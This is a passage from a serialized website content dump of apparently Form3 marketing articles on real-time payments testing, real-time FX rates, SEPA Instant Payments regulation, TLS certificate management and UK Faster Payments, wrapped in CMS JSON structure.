landscape.",[4751],{"start":592,"end":2651,"type":489,"data":4752},{"link_type":491,"url":785,"target":493},"rich_text$5248bb21-6e67-45e3-b134-6ece72e27544",{"variation":437,"version":438,"items":4755,"primary":4756,"id":4771,"slice_type":468,"slice_label":5},[],{"body":4757},[4758,4760,4763,4766],{"type":988,"text":4445,"spans":4759,"direction":445},[],{"type":25,"text":4761,"spans":4762,"direction":445},"As the launch of FedNow ushers in the era of real-time payments, it is crucial for banks to prioritize comprehensive testing strategies without delay. By employing a multifaceted approach – including sandbox testing, UAT, regression testing, and load testing – banks can identify risks and vulnerabilities, ensuring secure, reliable, and user-friendly payment systems. Embracing industry best practices and staying informed about evolving standards is vital in this rapidly changing landscape. ",[],{"type":25,"text":4764,"spans":4765,"direction":445},"Financial institutions must act swiftly to secure their competitive advantage and successfully navigate the real-time payments revolution. Leveraging solutions like Form3's instant payments testing platform can provide banks with the tools and resources necessary to streamline their testing processes, mitigate risks, and ensure a smooth transition to real-time payments.",[],{"type":25,"text":4767,"spans":4768,"direction":445},"Form3's extensive experience and comprehensive testing solution can help banks stay ahead in the fast-paced world of real-time payments. By offering a robust, automated, and efficient testing environment, Form3 allows financial institutions to focus on delivering seamless and secure real-time payment experiences to their customers.",[4769],{"start":398,"end":629,"type":489,"data":4770},{"link_type":491,"url":785,"target":493},"rich_text$7d3e1364-bdf9-4a2b-ab4d-4d13523b8156","Testing for Real-Time Payments: What You Need to Know | Form3 Insights","Understand the importance of testing for real-time payments, different testing approaches, and how thorough testing can contribute to long-term success. Learn more at Form3 Insights.",{"id":4775,"uid":4776,"type":3743,"data":4777},"alzzlhEAAC0AUWPN","fx-rates",{"title":4778,"excerpt":4779,"card_image":4780,"published_date":3606,"reading_time":418,"tag":3751,"dek":5,"featured_image":4783,"about_form3":4784,"client_about_heading":5,"client_about_body":4785,"author_name":5,"author_title":5,"author_photo":4786,"author_bio":4787,"author_linkedin":4788,"slices":4789,"meta_title":4896,"meta_description":4897},"How real time currency rates are only an API away for US banks","With the ongoing shift to real time payments, we have seen drastic and rapid change across the domestic payment landscape. However, in the international payment space, we have seen a relatively slow movement to real time. This begs the question of where improvements can be made to not only facilitate real time delivery of payments, but also introduce other real time processes. These processes will help streamline elements of the international payment chain and strip out unnecessary costs and risks, which in turn will increase efficiency for consumers.",{"dimensions":4781,"alt":413,"copyright":5,"url":414,"id":415,"edit":4782},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[4790,4801,4812,4820,4832,4849,4875],{"variation":437,"version":438,"items":4791,"primary":4792,"id":4800,"slice_type":468,"slice_label":5},[],{"body":4793},[4794,4797],{"type":25,"text":4795,"spans":4796},"With the ongoing shift to real time payments, we have seen drastic and rapid change across the domestic payment landscape. Instantaneous transfers, while not historically new, have evolved significantly over time. As of 2022, up to 72% of the world has a live or upcoming real-time payments infrastructure.",[],{"type":25,"text":4798,"spans":4799},"However, in the international payment space, we have seen a relatively slow movement to real time. This begs the question of where improvements can be made to not only facilitate real time delivery of payments, but also introduce other real time processes. These processes will help streamline elements of the international payment chain and strip out unnecessary costs and risks, which in turn will increase efficiency for consumers. ",[],"rich_text$3a1a0217-0633-4b66-b77b-c853e301be5a",{"variation":437,"version":438,"items":4802,"primary":4803,"id":4811,"slice_type":468,"slice_label":5},[],{"body":4804},[4805,4808],{"type":988,"text":4806,"spans":4807,"direction":445},"Who benefits from real time FX rates?",[],{"type":25,"text":4809,"spans":4810,"direction":445},"With the digitization of payments dramatically driving demand in the cross border space, the pain points experienced by small businesses is even more acute. The typical journey of cross border payments is complex.  The journey is associated with high fees, it lacks visibility, certainty and predictability of payments, and lacks data payloads and messaging. The existing ways to make cross-border payments often falls short of small business requirements for better speed, visibility, fees and the guarantee of full value delivery. If the true cost was analysed for the continuation of utilising non real time FX rates, it would cause huge concern when considering currency conversions. This may well get overlooked as an issue, but the real impact on a customer is significant.  ",[],"rich_text$5f71dc17-3f51-41a7-b473-355588d29fa4",{"variation":437,"version":438,"items":4813,"primary":4814,"id":4819,"slice_type":583,"slice_label":5},[],{"quote":4815,"attribution_name":5,"attribution_role":5},[4816],{"type":25,"text":4817,"spans":4818},"“Any SME or mid-cap relying on their bank for foreign exchange transactions, and international transfers in particular, can testify that the system in place is both opaque and costly.“",[],"pull_quote$b74d33c6-992b-436f-abc1-0fc6fc05803e",{"variation":437,"version":438,"items":4821,"primary":4822,"id":4831,"slice_type":468,"slice_label":5},[],{"body":4823},[4824],{"type":25,"text":4825,"spans":4826},"If a business is reliant on the exchange rate to ensure profitability and sustainability, having no clarity on the actual exchange rate achieved until after a transaction is booked seems senseless. It may sound slightly archaic that real time FX rates are not the norm, but across the US many banks work to FX rates that are updated every few hours, and do not track the live, ever-changing interbank market rate. Financial institutions are still relying on a customer calling a bank’s wire desk for a real-time FX conversion rate. This creates friction in the process for the customer as well as increases overhead for financial institutions. In fact, 61% of companies are experiencing issues with foreign exchange rates, labelling them “a significant drain on resources”.",[4827],{"start":4828,"end":646,"type":489,"data":4829},653,{"link_type":491,"url":4830},"https:\u002F\u002Fwww.business-money.com\u002Fannouncements\u002F68-of-european-smes-to-implement-real-time-payments-next-year\u002F","rich_text$797da177-8caf-4b37-81be-f9f8c58680d6",{"variation":437,"version":438,"items":4833,"primary":4834,"id":4848,"slice_type":468,"slice_label":5},[],{"body":4835},[4836,4839,4842,4845],{"type":988,"text":4837,"spans":4838,"direction":445},"A rapidly changing economy is leaving static FX one step behind",[],{"type":25,"text":4840,"spans":4841,"direction":445},"Take into consideration the recent volatility we have seen in the market, especially when considering the USD’s close friend GBP, which are two of the most traded currency pairs. Whether pairing for travel money, paying manufacturers, payroll or repatriating profits, their conversion is a huge consideration in global money movement. ",[],{"type":25,"text":4843,"spans":4844,"direction":445},"Recent political tensions and disruption in the houses of parliament have seen a collapse in GBP value against the USD. The real impact of this was a 35% increase in USD value vs sterling, with some of the major movements happening in a matter of minutes as opposed to hours or days. When considering that static rates are sometimes updated daily or every few hours, consumers would certainly be on the wrong end of this move, and purchasing well below market value. This lack of visibility also raises questions of trust. If the rate at time of purchase is above the static rate indicated, will the customer gain the full benefit for the improved rate?",[],{"type":25,"text":4846,"spans":4847,"direction":445},"Rising pressure for more transparency in FX transactions, and the need for businesses to look at ways to protect profits and drive down hidden costs, decrease margins, and remove the need to rely on manual and sometimes static FX processes is pointing toward real time 24\u002F7 FX rates. The technology is certainly there and across the pond in the UK, Real Time FX rates via an API are not only feasible, but expected. Manual execution via markets desk is not a thing of the past, as it certainly still has its place, but perhaps for everyday FX execution and simple international corporate payments, a fully automated and real time rate experience would make sense.   It would give the much-needed transparency and clarity to a process that is a black hole of hidden costs, fees and commissions. ",[],"rich_text$e7db84e8-8f5d-4728-8f1a-1ea385fe2c55",{"variation":437,"version":438,"items":4850,"primary":4851,"id":4874,"slice_type":468,"slice_label":5},[],{"body":4852},[4853,4856,4859,4862,4865,4868,4871],{"type":988,"text":4854,"spans":4855,"direction":445},"The benefits of following and using live exchange rates",[],{"type":25,"text":4857,"spans":4858,"direction":445},"Most banks still use an exchange rate that will apply for the entire day. As a result of not usually using live exchange rates, they have to build in a margin of about 5% on all international money transfers to ensure profitability even if the currency fluctuates dramatically.",[],{"type":25,"text":4860,"spans":4861,"direction":445},"The benefits of integrating a real time FX solution becomes clear, and key areas of improvement include:",[],{"type":3373,"text":4863,"spans":4864,"direction":445},"Faster fulfilment: For a high velocity of transactions, efficient and swift fulfilment of transfers is optimal for customers, suppliers, merchants",[],{"type":3373,"text":4866,"spans":4867,"direction":445},"Transparency: Provides the ability to move rich data, which can provide actionable insights into client needs, particularly for corporate customers.",[],{"type":3373,"text":4869,"spans":4870,"direction":445},"Payment Confirmation: Provides the ability to confirm payment without tracking the transaction. With RTP integration, platforms can be assured the beneficiary account has been credited with the value.",[],{"type":3373,"text":4872,"spans":4873,"direction":445},"Loyalty and Retention: By offering these improvements to customer experience, customers are more likely to return to the platform because stability and speed are ensured in their payment.",[],"rich_text$88b032aa-91b5-4b73-85d0-d356bed7edd3",{"variation":437,"version":438,"items":4876,"primary":4877,"id":4895,"slice_type":468,"slice_label":5},[],{"body":4878},[4879,4882,4885,4892],{"type":988,"text":4880,"spans":4881,"direction":445},"How Form3 brings the world of real time FX to banks through a single API",[],{"type":25,"text":4883,"spans":4884,"direction":445},"As a leading payment technology business, Form3 is applying their market leading API technology to solve this problem.  ",[],{"type":25,"text":4886,"spans":4887,"direction":445},"Form3’s market-leading API technology and Goldman Sachs’ established FX network provide  a combined private-label solution to offer your customers access to a broad cross-border payments network, while continuing to define your own customer experience.",[4888],{"start":4023,"end":4889,"type":489,"data":4890},56,{"link_type":491,"url":4891,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fpayment-platform\u002Finternational\u002Fcross-currency",{"type":25,"text":4893,"spans":4894,"direction":445},"The collaboration between Form3 and Goldman Sachs brings together market leading API technology and world leading FX and correspondent banking capabilities. Form3 provides mission critical processes through a single JSON API integration.",[],"rich_text$12bc0b8a-39cf-4f51-b572-38a8acdb5b4b","How real time currency rates are only an API away for US banks.","Most banks still use an exchange rate that will apply for the entire day, but a rapidly changing economy is leaving static FX one step behind. Discover the benefits of integrating a real time FX solution into your international payments.",{"id":4899,"uid":4900,"type":3743,"data":4901},"alzzcBEAACgAUWNw","sepa-instant-payments-future-european-transactions",{"title":4902,"excerpt":4903,"card_image":4904,"published_date":4907,"reading_time":4603,"tag":3751,"dek":4903,"featured_image":4908,"about_form3":4909,"client_about_heading":5,"client_about_body":4910,"author_name":5,"author_title":5,"author_photo":4911,"author_bio":4912,"author_linkedin":4913,"slices":4914,"meta_title":5056,"meta_description":5057},"Beyond Traditional Transactions: Embracing the SEPA Instant Payments Era","The article covers the EU's push for SEPA Instant Payments and its effects on finance. Delving into the transition's challenges and opportunities, back-office adjustments, and the Request to Pay debate. We also look at the strategies for implementation, focusing on efficiency and risk reduction.",{"dimensions":4905,"alt":413,"copyright":5,"url":414,"id":415,"edit":4906},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2023-03-29",{},[],[],{},[],{"link_type":434},[4915,4935,4946,4954,4965,4976,4990,5001,5012,5023,5031,5042],{"variation":437,"version":438,"items":4916,"primary":4917,"id":4934,"slice_type":468,"slice_label":5},[],{"body":4918},[4919,4922,4925,4928,4931],{"type":988,"text":4920,"spans":4921,"direction":445},"Regulation and Market Adoption",[],{"type":25,"text":4923,"spans":4924,"direction":445},"It is widely recognised that regulation often serves as the catalyst for market adoption. The European Commission's (EC) 2020 EU Retail Payments Strategy emphasised the need for an EU-wide instant payments scheme, with the goal of making instant payments the new standard as one of the strategy's foundational components. However, the scheme has so far experienced a slow rollout and lower-than-expected adoption rates. ",[],{"type":25,"text":4926,"spans":4927,"direction":445},"For many credit institutions, payments are now perceived as a commodity. Contemporary back-office systems are typically designed for batch transaction processing, which cannot accommodate the real-time capabilities of instant payments. Managing this change is costly, and with an increasing number of mandatory adjustments on the horizon, not everyone is prepared to undertake such a transformation exercise. This has resulted in an uneven playing field, with some institutions charging for instant payments as a 'special service' for their entire customer base or a portion of it, in an attempt to recoup some of the service costs.",[],{"type":25,"text":4929,"spans":4930,"direction":445},"Simultaneously, the expectation of speed and instant delivery is now prevalent in our society. In the early days of Amazon, the wonder was that your order arrived at your doorstep within a week; nowadays, we become frustrated if a delivery is an hour late. In the financial world, consumers expect their money to move instantly, without having to pay extra for the privilege.",[],{"type":25,"text":4932,"spans":4933,"direction":445},"It comes as no surprise that the EC's statistics reveal that communities not charging extra for SEPA Instant have a higher adoption rate than those that do. We have also seen from examples like the UK's 'Faster Payments', a first-generation real-time payments system, that regulatory mandates are truly the only definitive way to ensure full adoption. Although the regulation only mandates credit institutions, other financial institutions have been somewhat ahead of the curve for SEPA Instant and are likely to follow the regulation to maintain their market share. Mandating the adoption of SEPA Instant will affect not only existing SEPA Instant providers, but also those taking the first steps to offer instant payments as a new service.",[],"rich_text$64819ab0-5d4a-445d-90cd-684046dc6d3b",{"variation":437,"version":438,"items":4936,"primary":4937,"id":4945,"slice_type":468,"slice_label":5},[],{"body":4938},[4939,4942],{"type":988,"text":4940,"spans":4941,"direction":445},"Challenges and Opportunities",[],{"type":25,"text":4943,"spans":4944,"direction":445},"In the SEPA Area, most, if not all, larger credit institutions already support SEPA Instant in some capacity. Even as existing members of the scheme, these institutions will need to adjust their processes and back-office systems. They will have to perform sanction screening swiftly, and plan for potential 'overlays' or value-added services to compensate for any short-term loss of fees. The mandate effectively commoditises instant payments, making it difficult to extract value from the service alone.",[],"rich_text$5daab447-ec7c-4393-bed6-8c908fb37cb2",{"variation":437,"version":438,"items":4947,"primary":4948,"id":4953,"slice_type":583,"slice_label":5},[],{"quote":4949,"attribution_name":5,"attribution_role":5},[4950],{"type":25,"text":4951,"spans":4952},"\"With the move to instant payments comes the need for instant screening, and this is an area where we are likely to see the most initial change and innovation.\"",[],"pull_quote$1b369f11-6307-4976-95fa-792eb73cec6f",{"variation":437,"version":438,"items":4955,"primary":4956,"id":4964,"slice_type":468,"slice_label":5},[],{"body":4957},[4958,4961],{"type":25,"text":4959,"spans":4960},"For those who have not yet embraced instant payments, they face the same back-office challenges mentioned earlier, plus the need to accommodate a pre-funded system in their net or gross settlement-based treasury processes. They may also consider how they wish to participate: does their customer base warrant direct participation, or are there other ways to fulfil the mandate's requirements more appropriately? This could involve the classic indirect setup or a more unique model like Direct Non-settling Participation (DNSP), a technical setup also provided by Form3.",[],{"type":25,"text":4962,"spans":4963},"As with many other financial advances, technology-focused regulated financial institutions and neo banks have been at the forefront. With the incoming changes in SEPA Instant, they will now see fast followers and a levelling playing field. Speed will no longer be the distinguishing factor for these early adopters, and value-added services such as request-to-pay, instant cross-border payments, and fraud tools will drive future customer adoption.",[],"rich_text$26f8e879-e58a-46c9-9fba-6265d1f40cde",{"variation":437,"version":438,"items":4966,"primary":4967,"id":4975,"slice_type":468,"slice_label":5},[],{"body":4968},[4969,4972],{"type":988,"text":4970,"spans":4971,"direction":445},"Sanction Screening in the Age of SEPA Instant Payments",[],{"type":25,"text":4973,"spans":4974,"direction":445},"The necessity of performing daily screening on account lists and IBAN name checks poses a few questions. Screening accounts rather than transactions works well in theory, especially with instant schemes, as it reduces the impact on processing speed. However, it requires absolute trust in all parties, ensuring that the screening done is of equal quality throughout the entire payment flow. It is likely that, for now, both screening on account lists and on transactions will need to occur. While some providers can offer this service and screen at acceptable speeds and quality, not all providers can do so. Innovation in this area is a key focus for all and is likely to be where we see the most significant changes.",[],"rich_text$d912eb55-dfa4-4384-8577-017569db0078",{"variation":437,"version":438,"items":4977,"primary":4978,"id":4989,"slice_type":468,"slice_label":5},[],{"body":4979},[4980,4983,4986],{"type":988,"text":4981,"spans":4982,"direction":445},"Request to Pay and SEPA Instant Payments: A Long-Standing Debate",[],{"type":25,"text":4984,"spans":4985,"direction":445},"In the SEPA area, the use of Request to Pay has been debated for quite some time without much success. In markets like the UK (and some local initiatives in the EU), Confirmation of Payee has been implemented, only really gaining traction recently after being mandated. Although these solutions help combat fraud to some extent, we still see other types of fraud on the rise in mature markets. Authorised Push Payment (APP) fraud is just one example, and even though CoP helps, fraudsters continue to find new ways to stay ahead. It will be intriguing to see how the discussion in the SEPA area evolves; will we adopt a European CoP or implement R2P? Will we consider the lessons learned from those markets that are ahead of us?",[],{"type":25,"text":4987,"spans":4988,"direction":445},"In my opinion, some level of standardisation is essential, but it would be best to allow enough flexibility for providers to innovate and find optimal solutions to this issue. Imposing strict mandates may only limit innovation and negatively impact user experience.",[],"rich_text$81f86664-3648-46e9-93d5-ff31a405380d",{"variation":437,"version":438,"items":4991,"primary":4992,"id":5000,"slice_type":468,"slice_label":5},[],{"body":4993},[4994,4997],{"type":988,"text":4995,"spans":4996,"direction":445},"Embracing SEPA Instant Payments: Effective Approaches to the New Mandate",[],{"type":25,"text":4998,"spans":4999,"direction":445},"Existing SEPA Instant providers should view the new regulation as an opportunity to review their back-office capabilities and drive efficiency. In my opinion, such analysis will likely lead to more outsourcing of commoditised processes. Those wanting to handle the payments themselves are looking at a substantial overhaul. Legacy on-premises infrastructure and multi-layered back-office processes are ill-equipped to handle increased SEPA Instant volumes at speed or scale over time. Transitioning to a cloud-native infrastructure, in our view, is crucial and will play a significant role in significantly reducing the cost and risk of any transformation programme.",[],"rich_text$aaf678d1-7dbf-4a0d-82ed-f9f0faf4e333",{"variation":437,"version":438,"items":5002,"primary":5003,"id":5011,"slice_type":468,"slice_label":5},[],{"body":5004},[5005,5008],{"type":988,"text":5006,"spans":5007,"direction":445},"SEPA Instant Payments Adoption: Why Acting Now is Crucial",[],{"type":25,"text":5009,"spans":5010,"direction":445},"The EC ECON committee has appointed a rapporteur, and the feedback period closed on 5th December 2022. The proposed regulation is currently with the Council and is undergoing discussions within its preparatory bodies. Although the finalisation date remains unknown, things appear to be progressing quickly. Once the regulation is passed, financial institutions will have six months to be ready to receive SEPA Instant payments, and another six months to send SEPA Instant payments. This timeline likely brings us to the end of 2024 at the earliest for both implementations. Banks and PSPs should assess the impact on profits and strategy, considering the increased competition and effects on price. Therefore, banks should not delay in mapping out their capacities. This is even more pressing given the tight compliance timelines and the amount of work required in some EU markets.",[],"rich_text$2b6ee31e-cb2c-41a2-83f9-98ec18d08b7d",{"variation":437,"version":438,"items":5013,"primary":5014,"id":5022,"slice_type":468,"slice_label":5},[],{"body":5015},[5016,5019],{"type":988,"text":5017,"spans":5018,"direction":445},"Key Considerations for Implementing SEPA Instant Payments",[],{"type":25,"text":5020,"spans":5021,"direction":445},"Depending on the market and segment you serve, you will want to stay ahead of the curve by acting early. The expectation surrounding instant payments among consumers and businesses will undoubtedly grow and be expected to be fully available with little to no extra costs.",[],"rich_text$4a2c5923-5917-44ea-9c44-eb0d0a232114",{"variation":437,"version":438,"items":5024,"primary":5025,"id":5030,"slice_type":583,"slice_label":5},[],{"quote":5026,"attribution_name":5,"attribution_role":5},[5027],{"type":25,"text":5028,"spans":5029},"\"Considering new solutions, whether it be in system access or a cloud infrastructure strategy, must be part of the continuous improvement mindset needed for success in the evolving world of SEPA Instant Payments.\"",[],"pull_quote$ef49235c-a194-4d9e-8736-74c41ebe4f7c",{"variation":437,"version":438,"items":5032,"primary":5033,"id":5041,"slice_type":468,"slice_label":5},[],{"body":5034},[5035,5038],{"type":25,"text":5036,"spans":5037},"Minimising the number of integration points should be considered; in many cases, routing and cost optimisations can be achieved by processing through a regional clearing rather than integrating with multiple local clearings, despite the difference in transaction costs.",[],{"type":25,"text":5039,"spans":5040},"We also recommend that you explore solutions that allow you to reuse your back office as much as possible and use the available time to focus on existing pain points, such as the challenges associated with continuous liquidity management for a pre-funded system and executing payment validations at higher speeds.",[],"rich_text$fd9afbf8-b4be-4603-8d8a-448f8b16e238",{"variation":437,"version":438,"items":5043,"primary":5044,"id":5055,"slice_type":468,"slice_label":5},[],{"body":5045},[5046,5049,5052],{"type":988,"text":5047,"spans":5048,"direction":445},"SEPA Instant Payments: Shaping the Future of Instant Transactions",[],{"type":25,"text":5050,"spans":5051,"direction":445},"The mandating of SEPA Instant will ensure uptake across the market and make Instant the new normal. The regulation has far-reaching implications and the changes outlined will impact both existing SEPA Instant providers and newcomers alike. With the shift to instant payments comes the need for instant screening, which is an area where we are likely to see the most initial change and innovation. When planning your SEPA Instant strategy, consider outsourcing and minimising integration points for processing payments, as these may be the keys to efficiency and risk reduction. With constant change and significant technical debt accumulating, payments are evolving beyond recognition. Considering new solutions, whether it be in system access or a cloud infrastructure strategy, must be part of the continuous improvement mindset needed for success.",[],{"type":25,"text":5053,"spans":5054,"direction":445},"If done correctly, and the market can build trust and solve the new type of screening in one of the most complex payments markets out there, SEPA could become an example of what the next generation of instant payments could look like.",[],"rich_text$24cec793-ec92-4925-bcab-598d88d1444b","Mastering SEPA Instant Payments: The Future of European Transactions Uncovered | Form3 Insights","Discover the impact of SEPA Instant Payments on the financial industry, explore the challenges and opportunities, and learn strategic insights to stay ahead of the rapidly evolving European payments landscape. Learn more at Form3 Insights.",{"id":5059,"uid":5060,"type":3743,"data":5061},"apW9sBEAAC0AIGW6","certificate-volumes-mushroom-so-do-outage-risks",{"title":5062,"excerpt":5063,"card_image":5064,"published_date":5072,"reading_time":4603,"tag":3751,"dek":5,"featured_image":5073,"about_form3":5074,"client_about_heading":5,"client_about_body":5075,"author_name":5076,"author_title":5077,"author_photo":5078,"author_bio":5086,"author_linkedin":5087,"slices":5090,"meta_title":5062,"meta_description":5063},"As certificate volumes mushroom, so do their risks and the potential for outages","Form3’s new Trust Fabric offering supports firms to manage their certificate estate, maintain visibility, automate renewals and mitigate the risk of expired or unknown certificates bringing down a whole service.",{"dimensions":5065,"alt":5068,"copyright":5,"url":5069,"id":5070,"edit":5071},{"width":5066,"height":5067},4800,2508,"trust-fabric","\u002F_prismic-media\u002Fb01dc48322d9917d-5ukZJt4M2O1WnfMx_TrustFabric.jpg","5ukZJt4M2O1WnfMx",{"x":398,"y":398,"zoom":399,"background":400},"2026-08-13",{},[],[],"Gareth Hobson","Sales Director, Trust Fabric",{"dimensions":5079,"alt":5082,"copyright":5,"url":5083,"id":5084,"edit":5085},{"width":5080,"height":5081},317,474,"Gareth","\u002F_prismic-media\u002F5a63452bfa82d68d-a-GIBViKoKeXPn66_326d8b1753cbcb3cf0974b851e194ac.jpg","a-GIBViKoKeXPn66",{"x":398,"y":398,"zoom":399,"background":400},[],{"link_type":491,"key":5088,"url":5089,"target":493},"ece9d998-d101-44be-94a9-a7164bd6accb","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fgarethhobson\u002F",[5091,5108,5122,5143,5157],{"variation":437,"version":438,"items":5092,"primary":5093,"id":5107,"slice_type":468,"slice_label":5},[],{"body":5094},[5095,5098],{"type":25,"text":5096,"spans":5097,"direction":445},"Expired TLS certificates have long been a frustrating cause of IT outages. And with the growing use of cloud-native architectures, the number of certificates any one organisation needs to manage has mushroomed. ",[],{"type":25,"text":5099,"spans":5100,"direction":445},"Large organisations routinely operate tens or even hundreds of thousands of certificates across distributed environments. Recent Keyfactor research found that 86% of organisations experienced at least one outage or disruption caused by expired or mismanaged certificates during the previous year. ",[5101],{"start":5102,"end":5103,"type":489,"data":5104},122,147,{"link_type":491,"url":5105,"target":5106},"https:\u002F\u002Fwww.keyfactor.com\u002Fpress-releases\u002Fkeyfactor-research-reveals-digital-certificate-outages-a-weekly-reality-for-1-in-10-enterprises\u002F","'_blank'","rich_text$b77e9254-3095-4cc8-9323-4f886383f2e4",{"variation":437,"version":438,"items":5109,"primary":5110,"id":5121,"slice_type":468,"slice_label":5},[],{"body":5111},[5112,5115,5118],{"type":988,"text":5113,"spans":5114,"direction":445},"The certificate challenge is shifting ",[],{"type":25,"text":5116,"spans":5117,"direction":445},"That statistic is striking because it comes at a time when public certificate management has never been more automated. This suggests that the industry's centre of gravity has shifted. The remaining challenges are increasingly associated with incomplete certificate discovery, internal PKI, service-to-service mutual TLS, fragmented ownership and automation gaps rather than internet-facing web certificates. ",[],{"type":25,"text":5119,"spans":5120,"direction":445},"In other words, organisations have become much better at issuing certificates than they have at understanding them, and the industry needs to prioritise certificate visibility to avoid unknown risks. ",[],"rich_text$276e51a3-7d37-4422-b46b-1f5ac6bdccb7",{"variation":437,"version":438,"items":5123,"primary":5124,"id":5142,"slice_type":468,"slice_label":5},[],{"body":5125},[5126,5129,5132,5139],{"type":988,"text":5127,"spans":5128,"direction":445},"Shorter certificate lifespans increase the pressure ",[],{"type":25,"text":5130,"spans":5131,"direction":445},"Coupled with the fact that certificate lifespans are getting shorter, managing a certificate estate manually has become increasingly difficult. ",[],{"type":25,"text":5133,"spans":5134,"direction":445},"The CA\u002FBrowser Forum has approved a roadmap that progressively reduces the maximum lifetime of publicly trusted TLS certificates. The previous 398-day maximum fell to 200 days on 15 March 2026, will fall to 100 days in March 2027 and ultimately to just 47 days in March 2029.  ",[5135],{"start":398,"end":5136,"type":489,"data":5137},43,{"link_type":491,"url":5138,"target":5106},"https:\u002F\u002Fcabforum.org\u002F2025\u002F04\u002F11\u002Fballot-sc081v3-introduce-schedule-of-reducing-validity-and-data-reuse-periods\u002F",{"type":25,"text":5140,"spans":5141,"direction":445},"Of course, shorter lifespans have security benefits, but they create a growing operational burden. Relying on spreadsheets and calendar reminders just isn’t enough anymore. Left unmanaged, an organisation can lose track of how many certificates it has, as well as which ones need to be renewed and when, resulting in outages that are not only frustrating but can have a lasting impact on reputation. ",[],"rich_text$7ed27345-eba0-49b4-8b84-faa85f11708c",{"variation":437,"version":438,"items":5144,"primary":5145,"id":5156,"slice_type":468,"slice_label":5},[],{"body":5146},[5147,5150,5153],{"type":988,"text":5148,"spans":5149,"direction":445},"Preparing for the quantum era ",[],{"type":25,"text":5151,"spans":5152,"direction":445},"On top of all of this, the cryptographic landscape is evolving as quantum computing progresses. Many of the cryptographic algorithms in use today are not considered quantum-safe. Although quantum computers are not currently capable of breaking widely deployed public-key cryptography at scale, organisations are increasingly preparing for the risk that encrypted data captured today could potentially be decrypted in the future as quantum capabilities advance. ",[],{"type":25,"text":5154,"spans":5155,"direction":445},"This creates an even greater need for visibility across certificate estates, helping IT teams understand which cryptographic algorithms are in use and where certificates may need to be updated as organisations transition towards post-quantum cryptography. ",[],"rich_text$7620a603-5ed8-4b64-9d4a-8b70f0e109d9",{"variation":437,"version":438,"items":5158,"primary":5159,"id":5179,"slice_type":468,"slice_label":5},[],{"body":5160},[5161,5164,5167,5173,5176],{"type":988,"text":5162,"spans":5163,"direction":445},"Visibility is the foundation of certificate management ",[],{"type":25,"text":5165,"spans":5166,"direction":445},"This visibility is the foundation of automated certificate management. Organisations first need comprehensive visibility across their certificates and dependencies so that they can automate their upkeep with confidence. ",[],{"type":25,"text":5168,"spans":5169,"direction":445},"Trust Fabric was built to address exactly this challenge. ",[5170],{"start":398,"end":2707,"type":489,"data":5171},{"link_type":491,"url":5172,"target":5106},"https:\u002F\u002Fwww.form3.tech\u002Fplatform\u002Fform3-trust-fabric",{"type":25,"text":5174,"spans":5175,"direction":445},"By continuously discovering certificates across hybrid and cloud-native environments, analysing dependencies and identifying lifecycle risks, it supports organisations to move beyond reactive certificate renewal towards proactive machine identity management.  ",[],{"type":25,"text":5177,"spans":5178,"direction":445},"Getting ahead of mounting certificate risks is the best way for organisations to confidently tackle them and future-proof their operations. ",[],"rich_text$fb95cc3e-8c2f-4c1c-a7c2-1df0c45c07cf",{"id":5181,"uid":5182,"type":3743,"data":5183},"alzzchEAAC0AUWN1","uk-faster-payments-a-model-for-us-banks",{"title":5184,"excerpt":5185,"card_image":5186,"published_date":4907,"reading_time":418,"tag":3751,"dek":5185,"featured_image":5189,"about_form3":5190,"client_about_heading":5,"client_about_body":5191,"author_name":5,"author_title":5,"author_photo":5192,"author_bio":5193,"author_linkedin":5194,"slices":5195,"meta_title":5294,"meta_description":5295},"UK Faster Payments: A model for U.S. banks to follow in their journey to real-time?","As the US moves toward broad adoption of real-time payments (RTP) with the deployment of FedNow, it can learn a lot from the UK’s implementation of real-time payments.  In a recent webinar we heard from Connie Blacklock, EMEA Head of Real-Time Payments at JP Morgan and our own Miriam Sheril, Head of US Product, Form3 discuss the differences and similarities between the two regions and what US banks can expect in their move to real-time.",{"dimensions":5187,"alt":413,"copyright":5,"url":414,"id":415,"edit":5188},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[5196,5207,5218,5229,5240,5251,5262,5273,5284],{"variation":437,"version":438,"items":5197,"primary":5198,"id":5206,"slice_type":468,"slice_label":5},[],{"body":5199},[5200,5203],{"type":988,"text":5201,"spans":5202,"direction":445},"Navigating real-time payments",[],{"type":25,"text":5204,"spans":5205,"direction":445},"Real-time payments are transforming the financial landscape, offering faster, more efficient transactions and an improved customer experience. In recent years, banks and financial institutions have joined the UK Faster Payments scheme and the US RTP network to stay competitive in this evolving market. In this article, we'll discuss the experiences and insights shared by banking professionals as they navigate the challenges and opportunities of implementing real-time payments.",[],"rich_text$d8d1505f-b2ec-4631-816e-406290e352ea",{"variation":437,"version":438,"items":5208,"primary":5209,"id":5217,"slice_type":468,"slice_label":5},[],{"body":5210},[5211,5214],{"type":988,"text":5212,"spans":5213,"direction":445},"Technology and infrastructure are crucial but not the only challenges",[],{"type":25,"text":5215,"spans":5216,"direction":445},"JP Morgan's experience in joining the UK Faster Payments scheme highlights that while the technical aspect of implementing real-time payments is essential, it is just the beginning. Meeting service level agreements (SLAs) and ensuring payments are processed correctly are critical. However, it is equally important to consider the downstream systems that need to be integrated, especially when dealing with legacy platforms.",[],"rich_text$18ee7291-3681-4cab-9511-74a32d0b979a",{"variation":437,"version":438,"items":5219,"primary":5220,"id":5228,"slice_type":468,"slice_label":5},[],{"body":5221},[5222,5225],{"type":988,"text":5223,"spans":5224,"direction":445},"Reporting should be a top priority",[],{"type":25,"text":5226,"spans":5227,"direction":445},"As banks focus on payment processing, reporting can easily be overlooked. Nevertheless, accurate and timely reporting is crucial for both banks and their clients to make informed decisions. Emphasizing reporting during the planning stage can help ensure a smoother implementation process.",[],"rich_text$aad94566-cd20-49a9-af45-a5e2508f9e6d",{"variation":437,"version":438,"items":5230,"primary":5231,"id":5239,"slice_type":468,"slice_label":5},[],{"body":5232},[5233,5236],{"type":988,"text":5234,"spans":5235,"direction":445},"Resiliency and stability are more important than ever",[],{"type":25,"text":5237,"spans":5238,"direction":445},"With real-time payments processing thousands or even millions of transactions in a matter of seconds, system stability is paramount. The consequences of a system failure or glitch can be far-reaching, so banks must ensure their platforms can handle the load and recover quickly in the event of an issue. Automation of recovery processes is essential, as relying on manual intervention can be slow and 